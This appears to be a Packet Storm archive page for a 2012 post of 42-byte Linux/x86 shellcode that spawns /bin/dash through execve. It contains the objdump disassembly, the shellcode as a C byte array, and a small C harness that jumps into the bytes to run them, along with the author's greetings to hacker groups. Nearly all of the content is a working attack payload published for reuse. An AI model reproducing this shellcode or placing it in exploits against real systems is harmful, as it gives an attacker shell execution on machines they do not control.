exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 execve(/bin/dash) Shellcode

Linux/x86 execve(/bin/dash) Shellcode
Posted May 14, 2012
Authored by X-h4ck

42 bytes small Linux/x86 execve(/bin/dash) shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 1f064f3f4e529376eb4edee2ea45ed1176d1934a1c38873cb290b1e9fb04ef2a

Linux/x86 execve(/bin/dash) Shellcode

Change Mirror Download
/*

linux/x86 execve(/bin/dash) 42 bytes
Author : X-h4ck
mem001@live.com, mem003@live.com
www.pirate.al , www.flashcrew.in
Greetz : mywisdom - Danzel - Wulns~ - IllyrianWarrior- Ace - M4yh3m - Saldeath
ev1lut1on - Lekosta - Pretorian - bi0 - Slimshaddy - d3trimentaL
CR - Hack-Down - H3ll - d4nte_sA - th3p0wer and all PirateAL friends.
PROUD TO BE ALBANIAN!
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

root@bt:~/Desktop# objdump -D sh

sh: file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
8048060: eb 19 jmp 0x804807b
8048062: 5b pop %ebx
8048063: b8 00 00 00 00 mov $0x0,%eax
8048068: 88 43 09 mov %al,0x9(%ebx)
804806b: 89 5b 0a mov %ebx,0xa(%ebx)
804806e: 89 43 0e mov %eax,0xe(%ebx)
8048071: b0 0b mov $0xb,%al
8048073: 8d 4b 0a lea 0xa(%ebx),%ecx
8048076: 8d 53 0e lea 0xe(%ebx),%edx
8048079: cd 80 int $0x80
804807b: e8 e2 ff ff ff call 0x8048062
8048080: 2f das
8048081: 62 69 6e bound %ebp,0x6e(%ecx)
8048084: 2f das
8048085: 64 fs
8048086: 61 popa
8048087: 73 68 jae 0x80480f1

*/

#include <stdio.h>


char sc[] = "\xeb\x19\x5b\xb8\x00\x00\x00\x00\x88"
"\x43\x09\x89\x5b\x0a\x89\x43\x0e\xb0"
"\x0b\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80"
"\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x64\x61\x73\x68";
void main(void)
{
void(*s)(void);
printf("madhesia : %d\n", sizeof(sc));
s = sc;
s();
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close